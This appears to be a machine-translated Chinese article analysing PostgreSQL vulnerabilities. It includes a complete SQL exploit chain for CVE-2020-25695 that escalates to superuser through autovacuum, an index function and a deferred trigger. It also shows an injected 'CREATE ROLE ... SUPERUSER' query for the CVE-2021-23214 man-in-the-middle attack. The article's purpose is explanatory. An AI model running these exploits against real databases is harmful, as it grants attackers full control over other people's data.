有趣的PostgreSQL漏洞
PostgreSQL每年都會釋出幾次帶有幾個漏洞的新版本。通常,漏洞允許您将非特權使用者變成超級使用者。在Postgres中,一切都很簡單——我們在更新釋出時安裝更新檔。但是許多分叉仍然很脆弱。我分析了幾個有趣的PostgreSQL漏洞尋找有趣的漏洞,并在那裡發現了很多有趣的東西。
有趣的PostgreSQL漏洞分析
一般來說,Postgres有一堆分叉。可能所有這些都容易受到本文中列出的所有内容的影響。
似乎史詩般的漏洞是最好不要使用的“篩子”的明确标志。這不是真的。所有曆史漏洞的公開釋出是防止零日被掃地出門的原因。
好吧,讓我們進入正題。使用未打更新檔的Postgres可以做什麼?
PostgreSQL漏洞 CVE-2020-25695
漏洞CVE-2020-25695 影響 13.0、12.4、11.10、10.15和其他現已達到 EOL 的主要版本。總分8.8。該漏洞還利用了許多重要功能的組合。但是,對于腳本小子來說,利用是好的——隻需啟動一個 SQL 查詢就可以了,無需擺弄欺騙、編寫代碼或類似的東西。
PostgreSQL的緻命弱點是真空化過程,即 VACUUM。它删除了新事務不需要檢視的資料版本。有時它由系統管理者或cron代表系統管理者啟動。有時它會自行啟動 - 當很多行已被删除或更新時。在這種情況下,它被稱為autovacuum。它以超級使用者身份運作。
我想在真空中添加一些代碼,以便它以超級使用者身份運作,對吧?Postgres開發人員當然已經想到了這一點。在清理特定表時,執行上下文切換到表的所有者。如果我們歸檔了我們的表格–
它是這樣工作的。
/* Switch to the table owner's userid... */
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
// Вакуумизируемнавседеньги
/* Restore userid and security context */
SetUserIdAndSecContext(save_userid, save_sec_context);
CommitTransactionCommand();
事實證明,我們需要将真空化期間的黑客攻擊推遲到交易結束。因為在送出之前,我們在一個不夠酷的上下文中運作。這個問題的解決方案非常簡單:您可以建立一個DEFFERED觸發器,該觸發器将在送出時執行
/* create a CONSTRAINT TRIGGER, which is deferred
deferred causes it to trigger on commit, by which time the user has been switched back to the
invoking user, rather than the owner
*/
CREATE CONSTRAINT TRIGGER def
AFTER INSERT ON t0
INITIALLY DEFERRED
FOR EACH ROW
EXECUTE PROCEDURE strig();
我們如何讓這個觸發器在真空期間觸發?要做到這一點,你需要真空來插入資料,它會删除它們......你隻需要讓一個表的真空插入資料到另一個!
真空中調用了哪些函數?表達式索引函數。
CREATE TABLE t0 (s varchar);
CREATE TABLE t1 (s varchar);
CREATE TABLE exp (a int, b int);
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql IMMUTABLE AS
'SELECT $1'; --Присозданиииндексаповыражениюфункциядолжнабыть IMMUTABLE, тоестьБЕСПОЛЕЗНА
CREATE INDEX indy ON exp (sfunc(a));
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1'; --Заменимфункциюмутабельной
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
LANGUAGE sql SECURITY INVOKER AS
'ALTER USER foo SUPERUSER; SELECT $1'; --Функция, вызываемаяиз DEFFERED триггера
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$ BEGIN
PERFORM fooz.public.snfunc(1000); RETURN NEW;
END $e$
LANGUAGE plpgsql; --Функциятриггера
CREATE CONSTRAINT TRIGGER def
AFTER INSERT ON t0
INITIALLY DEFERRED FOR EACH ROW
EXECUTE PROCEDURE strig();
ANALYZE exp;
INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9);
DELETE FROM exp;
INSERT INTO exp VALUES (1,1);
ALTER TABLE exp SET (autovacuum_vacuum_threshold= 1);
ALTER TABLE exp SET (autovacuum_analyze_threshold= 1);
這裡 Vacuum exp調用sfunc ( )将資料插入到t0中。然後, t0上的觸發器在事務結束時使用根上下文調用string ( ) ,而根上下文又調用snfunc ( )。他将超級使用者授予攻擊者。要利用此漏洞,您需要能夠建立表和索引。
PostgreSQL漏洞 CVE-2021-23214
漏洞CVE-2021-23214 影響 14.0、13.4、12.8、11.13、10.18。總分8.1。所有的連接配接池——PgBouncer、PgPool II 和 Odyssey——也很脆弱。
TLDR:如果使用使用 TLS 證書的用戶端身份驗證并且存在 MITM,則可以将請求的執行添加到連接配接的開頭。
postgres通信協定是基于消息的,每條消息以 4 個位元組開始,其中包含有關消息大小的資訊。然後是指定資料包類型的一個位元組。剩餘空間可能由特定于資料包的資料占用。
一個普通的伺服器首先會向用戶端發送一條啟動消息,其中包含切換到 TLS 加密的建議,獲得用戶端的同意,将套接字傳遞給OpenSSL庫,并且已經從它那裡接收到一個安全的通信通道,它将在其中認證。
在PostgreSQL中有不同的認證方式。例如,通過明文密碼。但它在各方面都令人毛骨悚然。您可以使用 MD5 身份驗證:伺服器将發送 salt,用戶端将重新哈希密碼、自身和 salt,然後将其發送到伺服器。但同時,通過 hack 資料庫并讀取pg_authid視圖,您可以獲得足夠的資料以與任何其他具有 MD5 身份驗證的使用者一起進入資料庫。
您可以使用SCRAM-SHA-256方案,而破解資料庫将不允許您使用收到的機密。即使使用被盜資料進入同一個資料庫也行不通。
或者您通常可以“将責任委托給英鎊”——使用帶有 TLS 證書的身份驗證。在這種情況下,當建立 TLS 連接配接時,證書的 Common Name 将與使用者名進行比較。如果它們比對,則用戶端具有由受信任中心頒發的證書。這種方法有很多優點:例如,輪換機密不再是 DBA 問題。如果舊證書已損壞,請讓客戶弄清楚從哪裡獲得有效證書。
如果整個資料庫被盜,則根本無法從中擷取任何身份驗證資料。證書驗證是由真正的密碼焊工編寫的,它隻需要擷取他們的代碼。但有一個細微差别。
PostgreSQL有相當小的包。例如,ReadyForQuery包是 6 個位元組。要從套接字讀取,需要進行系統調用——這需要很長時間。是以,Postgres和所有的 puller 都會讀取保留的資料。有些人稱之為緩沖,有些人稱之為預讀。從預讀緩沖區中,位元組已經進入解析資料包。預讀緩沖區直接從網絡套接字或加密連接配接上的 TLS 流填充。但是在更改未加密連接配接的那一刻,它發生了……但什麼也沒有發生。
在OpenSSL中,傳遞的不是預讀緩沖區,而是網絡連接配接本身。那些未加密的位元組仍然像被讀取一樣。就像從加密連接配接中接收一樣。中間人可以通過在啟動消息後添加一個SimpleQuery消息來利用這一點,并使用一個簡單的查詢:
"CREATE ROLE x4m WITH LOGIN SUPERUSER PASSWORD 'imahacker';"
當OpenSSL身份驗證成功後,伺服器将繼續從預讀緩沖區中讀取消息并執行SimpleQuery,就好像它來自使用者一樣。
CVE-2021-23214 漏洞的工作原理
此漏洞還有一個對稱用戶端CVE-2021-23222:MITM 可以對第一個用戶端請求做出響應,而不是伺服器實際所說的。但是利用這個漏洞需要大量的用戶端應用程式代碼知識。例如,像這樣的東西。
CVE-2021-23222 漏洞的工作原理
在Postgres中,修複用戶端和伺服器漏洞不僅包括在啟動資料包後重新整理緩沖區,還包括寫入有關嘗試使用 TLS 作弊的日志。在目前版本中,漏洞利用嘗試不會被忽視,并且可能會喚醒安全螢幕。我在 Odyssey 中對這些漏洞的修複如下所示。順便說一下,在 Odyssey 中,它們以不同的編号為人所知:CVE-2021-43766 和 CVE-2021-43767。